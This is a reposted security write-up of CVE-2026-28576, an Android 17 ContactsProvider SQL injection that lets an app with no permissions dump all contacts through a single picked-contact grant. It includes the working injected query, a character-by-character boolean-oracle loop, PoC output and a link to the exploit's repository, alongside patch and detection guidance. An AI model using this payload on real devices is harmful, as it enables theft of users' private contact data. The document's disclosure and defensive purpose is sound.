core-jmp core-jmpdeath of core jump

SQL Injection Still Exists in Android: One Picked Contact, Every Contact (CVE-2026-28576)

A critical SQL injection vulnerability in Android 17's ContactsProvider allows apps using the system contact picker to exfiltrate all contacts on a device without any permissions. Exploiting Android's targetSdk-gated security patches reveals how legacy API levels inherit pre-fix behavior.

oxfemale September 9, 2026 11 min read 92 reads
Export PDF
SQL Injection Still Exists in Android: One Picked Contact, Every Contact (CVE-2026-28576)
Original text: “SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)” — Mobile Hacking Lab. Code, tables and figures below are reproduced verbatim with attribution captions.

Executive Summary

CVE-2026-28576 is a critical SQL injection vulnerability in Android 17’s ContactsProvider that bypasses permission-based access controls. The vulnerability emerges from a fundamental architectural decision: Android 17 introduced a system contact picker that allows applications with zero permissions to request access to a single contact via URI grant instead of requiring READ_CONTACTS permission. This shift moves the security boundary from permission checks to URI-based grants at the provider level.

However, the security hardening applied to ContactsProvider to defend against SQL injection was implemented behind a targetSdk-gated compat change. Any application targeting SDK 36 or lower bypasses strict SQL validation entirely, allowing attackers to craft balanced SQL subqueries that execute within the granted URI scope but extract data far beyond it. An attacker app can receive a grant for a single contact and, through iterative boolean oracle queries, dump the entire device contacts database—names, phone numbers, emails, addresses, and notes—without ever requesting READ_CONTACTS. The vulnerability is particularly dangerous because it affects nearly all deployed applications targeting older API levels.

The Permission Model That Made This Possible

Historically, reading contacts required the android.permission.READ_CONTACTS permission, which was enforced at the provider level. Any application without this permission could not even open the ContactsProvider. With Android 17, Google introduced a system contact picker modeled after the photo picker: an application with zero permissions can invoke an ACTION_PICK intent targeting ContactsContract.Contacts.CONTENT_URI. The system itself displays the contact picker UI, and when the user selects a contact, the system issues a URI permission grant—not a broad permission, but a scoped grant to read exactly that one contact’s URI.

The provider opts into this model by declaring grantUriPermissions="true" and a <grant-uri-permission pathPattern=".*"/> in its manifest. The security invariant is clear: the grant layer enforces which rows you can touch. CVE-2026-28576 violates that invariant by breaking the SQL layer that consumes the grant.

The Vulnerability

Android 17 introduced two hardening measures to defend against SQL injection in the contacts provider: setStrictColumns(true) and setStrictGrammar(true) on the SQLiteQueryBuilder. These flags are applied to the data and contacts/lookup query paths. But there is a catch: the hardening was implemented behind a targetSdk-gated compat change instead of being applied unconditionally.

Decompiled from the on-device ContactsProvider.apk, the vulnerable code path looks like this:

// ContactsProvider2.java — canEnforceStrictSqlChecksForQueries()
private boolean canEnforceStrictSqlChecksForQueries() {
    if (ContactsPickerSessionProvider.sIsForwardedFromSessionsProvider.get())
        return true;                     // picker-forwarded calls: always strict
    if (!hasCallerOrSelfPermission(getContext(), READ_CONTACTS)
            && CompatChanges.isChangeEnabled(
                    ChangeIds.ENFORCE_STRICT_SQL_CHECKS,  // 484953293
                    Binder.getCallingUid()))              // evaluated on the CALLING app
        return true;
    return false;                        // ← targetSdk ≤ 36 callers land here
}

For any caller app targeting SDK 36 or lower, isChangeEnabled() returns false and the strict checks are skipped entirely. The official fix (public variant: GrapheneOS commit c4129a1c, matching the Android 17 bulletin) is a single deleted annotation: remove @EnabledAfter(BAKLAVA) and the checks apply to everyone:

@ChangeId
-    @EnabledAfter(targetSdkVersion = Build.VERSION_CODES.BAKLAVA)
public static final long ENFORCE_STRICT_SQL_CHECKS = 484953293L;

Compat-change gates are a security-control smell. @EnabledAfter exists so platform changes don’t break old apps. But when the change is the security boundary, every legacy-target app inherits the pre-fix behavior. Auditing @ChangeId annotations in system apps is a reliable way to find this bug class.

The Injection

Once a caller is on the legacy path, the provider’s remaining defenses are thin: validateSql() tokenizes the selection but its invalid-token list is empty (ContactsDatabaseHelper.DISALLOW_SUB_QUERIES = false), and the always-on setStrict(true) parenthesis-wrapping only stops clause breakouts like ') OR 1=1 --. It does nothing about balanced subqueries inside the WHERE clause.

The PoC holds a grant for one picked contact (content://com.android.contacts/contacts/lookup/<key>/1) and issues this perfectly ordinary-looking query:

contentResolver.query(
    grantedUri,                      // one picked contact
    new String[]{"_id"},
    "1 AND (SELECT substr(data1,3,1) FROM data"
        + " WHERE mimetype_id=(SELECT _id FROM mimetypes"
        + " WHERE mimetype='vnd.android.cursor.item/phone_v2')"
        + " ORDER BY _id LIMIT 1 OFFSET 0)='5'",
    null, null);

The provider AND-glues the attacker-controlled selection onto its own grant-scope constraint. This is the SQL that actually runs, captured on-device from an error message when one of the probes referenced a bad column:

SELECT _id FROM view_contacts
WHERE (_id=? AND lookup=?)          -- provider's part: the ENTIRE grant enforcement
  AND (1 AND (SELECT substr(data1,3,1) FROM data
              WHERE mimetype_id=(SELECT _id FROM mimetypes
                                 WHERE mimetype='vnd.android.cursor.item/phone_v2')
              ORDER BY _id LIMIT 1 OFFSET 0)='5')

The subquery doesn’t care about (_id=? AND lookup=?): it reads the raw data table with every phone number, email, postal address and note of every contact on the device. If the guess is correct, the WHERE is satisfied and the granted row comes back (cursor.getCount() == 1); otherwise it comes back empty. A boolean oracle:

// one query per character guess; a phone number falls in < 1 s
for (int pos = 1; pos <= len; pos++)
    for (char ch : CHARSET)
        if (oracle("(SELECT substr(data1," + pos + ",1) FROM data WHERE ...)='" + ch + "'"))
            secret.append(ch);

Iterate LIMIT 1 OFFSET k over all rows and all mimetypes, and the single-contact grant has become a full database dump. No break-out, no comments, no stacked queries, just valid SQL the provider never checked for.

The PoC: Real System Picker, Real Grant, Real Dump

The PoC is a single app with no permissions in its manifest and targetSdk 36. Button 1 launches ACTION_PICK on ContactsContract.Contacts.CONTENT_URI: the system’s contact picker opens, and the app never sees the contact list. The user picks one contact, and the system itself issues the grant:

The PoC app showing the system-issued URI grant for one picked contact with checkUriPermission returning 0
The real system-issued grant: content://com.android.contacts/contacts/lookup/<key>/1, read-only, one URI. checkUriPermission == 0. The app is legitimately allowed to see exactly one contact: Alice Victim. Source: original article.

The real system-issued grant: content://com.android.contacts/contacts/lookup/<key>/1, read-only, one URI. checkUriPermission == 0. The app is legitimately allowed to see exactly one contact: Alice Victim.

Button 2 runs the oracle. The device holds three victim contacts (nine data rows). Thirty seconds of yes/no questions later:

The PoC app displaying the full exfiltrated contacts database with names, phones and emails all read without READ_CONTACTS
Full dump through the single-contact grant: all names, phones and emails, “all of the above was read WITHOUT READ_CONTACTS”. Source: original article.
What I am ALLOWED to see: Alice Victim  (one contact)
VULNERABLE: subquery accepted, dumping contacts DB
EXFILTRATED name  #1..3: Alice Victim · Bob Manager · Carol Doctor
EXFILTRATED phone #1..3: +1-555-SECRET-01 · +1-555-777-0002 · +1-555-999-0003
EXFILTRATED email #1..3: alice.victim@corp.example · bob.manager@corp.example · carol.doctor@med.example

Two details make the boundary violation unmistakable. First, a stale or revoked grant produces a plain SecurityException: the grant layer itself works fine. Second, directly querying an ungranted URI is still refused. The only thing that’s broken is what happens inside the provider’s SQL.

The Patched Behavior

The Android 17 bulletin fix flips change 484953293 to default-enabled for all callers. You can reproduce the exact patched behavior on a vulnerable build without modifying the system: enable the change for the PoC app and the same query dies before it ever reaches SQLite:

$ adb shell am compat enable 484953293 com.poc.cve202628576
Enabled change 484953293 for com.poc.cve202628576.
The same PoC app with strict SQL checks enabled shows the injection is rejected with Invalid token SELECT
Same app, same system grant, strict checks on: IllegalArgumentException: Invalid token SELECT. Source: original article.

Same app, same system grant, strict checks on: IllegalArgumentException: Invalid token SELECT. setStrictGrammar(true) tokenizes the selection and rejects the SELECT keyword outright. This is the exact exception Google’s CTS regression test asserts.

The grant still opens the provider and still returns the picked contact; only the injection is gone. That contrast is the whole story: the platform fixed the SQL layer, but only for apps that opt in via targetSdk.

Get the PoC

The full PoC is open source on GitHub, so you can reproduce this yourself on an Android 17 build with a patch level before 2026-07-01: github.com/mobilehackinglab/CVE-2026-28576-poc. The repo contains the complete source for the PoC app, a prebuilt APK, step-by-step reproduction instructions, and the captured evidence logs.

The PoC app has no permissions in its manifest. Button 1 opens the real system contact picker; button 2 dumps every contact on the device through the single-contact grant. To verify the patched behavior without flashing anything, run adb shell am compat enable 484953293 com.poc.cve202628576 and the same query dies with IllegalArgumentException: Invalid token SELECT. For research and authorized testing only.

Detection and Patch Level

You need security patch level 2026-07-01 or later:

$ adb shell getprop ro.build.version.security_patch
2026-07-05

Patch level ≠ patched. Test devices may report SPL 2026-07-05 yet remain fully vulnerable, because they may run an Android 17 beta image whose build predates the bulletin merge. The vulnerable compat gate can be verified by extracting the compat config from the on-device ContactsProvider.apk: if @EnabledAfter(BAKLAVA) still appears, the gate is present. On beta builds, verify behavior, not just the SPL string. Android 14/15/16 are unaffected; the gating code never existed there.

Key Takeaways

  • Picker-based permission models move the boundary, they don’t remove it. When a grant replaces a permission, the code that consumes the grant becomes security-critical. Here the grant check was fine; the query builder behind it wasn’t.
  • Security fixes behind targetSdk-gated compat changes are partial fixes. Any attacker app picks its own targetSdk. If a compat change gates a security control, the exploitable population is “every app that targets an old SDK”—nearly all deployed apps.
  • Parenthesis-wrapping is not SQL-injection defense. setStrict(true) stopped tautology breakouts years ago, but balanced subqueries in WHERE are valid SQL. The interesting audit question is never “can I break out” but “what can I run while staying inside.”
  • The provider leaked its own assembled SQL. A SQLite error message handed us the full SELECT ... FROM view_contacts WHERE (_id=? AND lookup=?) AND (...), invaluable when reverse-engineering the injection surface from a black box.
  • Exploitability is deterministic when grants combine with SQL flaws. A boolean oracle is far simpler and more reliable than traditional injection breakout techniques. Character-by-character exfiltration of phone numbers and email addresses requires only 30 seconds per contact on a real device.
  • Grant layers work when data access layers don’t. The URI permission system itself functioned correctly—revoking or expiring the grant still blocked access. Only the SQL filtering inside the provider was compromised.
  • targetSdk as a security lever is problematic. Gating critical security fixes behind API-level checks incentivizes developers to target newer API levels, but provides no enforcement for billions of existing apps.

Defensive Recommendations

  • Device owners (users & enterprises): Ensure your Android 17 device is on security patch level 2026-07-01 or later. Verify patch level in Settings > System > Advanced > Build Details > Security patch level. If your device reports an earlier patch level or a beta build, contact the device manufacturer for an update or consider reverting to Android 16 until the patch is available.
  • Application developers: If your app targets SDK 36 or lower and uses the contact picker, update your targetSdkVersion to 37 (BAKLAVA) or later. This enables strict SQL checks unconditionally. Recompile and re-release your app to force devices to fetch the patched binary.
  • Penetration testers & security researchers: On unpatched Android 17 devices, use the PoC to audit whether contact pickers present an exfiltration risk. Many third-party contact-picker libraries may inherit the same compat change gating. Test both first-party and third-party contact access in your threat modeling.
  • Platform engineers (OEM/OS developers): Remove @EnabledAfter annotations on all security-critical compat changes in system apps. Security boundaries should not be targetSdk-gated. Conduct a full audit of ContactsProvider and other system providers for similar gates hiding behind “forward compatibility” rationales.
  • Security review teams: In code review, flag any @ChangeId annotation that gates a security control (permission checks, SQL validation, buffer bounds, cryptographic operations, etc.). Enforce that security boundaries are applied uniformly, not contingent on caller API level.
  • Auditors investigating system apps: Examine SQLiteQueryBuilder configurations for setStrictColumns(), setStrictGrammar(), and setStrict(). If any of these are inside conditional blocks keyed on CompatChanges.isChangeEnabled(), investigate whether the compat change is targetSdk-gated. If so, the provider is exploitable by any app targeting an older API level.

Conclusion

CVE-2026-28576 exemplifies how permission-model innovation can inadvertently create new attack surfaces if the supporting infrastructure is incomplete. Android 17’s system contact picker was a sound design choice—users benefit from granular control and apps receive minimal data. But when the SQL filtering layer protecting that grant was hidden behind a targetSdk gate, the security boundary fractured. Legacy applications targeting SDK 36 inherited the pre-fix behavior and became vectors for full-database exfiltration. The lesson is clear: when a security fix is the boundary between vulnerability and safety, it must be applied universally, not conditionally. Every app, regardless of API level, must run strict SQL checks on untrusted input. The existence of this vulnerability underscores the critical importance of treating compat-change gates as a code smell when they guard security controls, and the necessity of periodic audits of system app code for similar patterns.

Original text: “SQL Injection Still Exists, Even in Android: One Picked Contact, Every Contact (CVE-2026-28576)” by Mobile Hacking Lab.

oxfemale Vulnerability research, reverse engineering, and exploit development.
// Discussion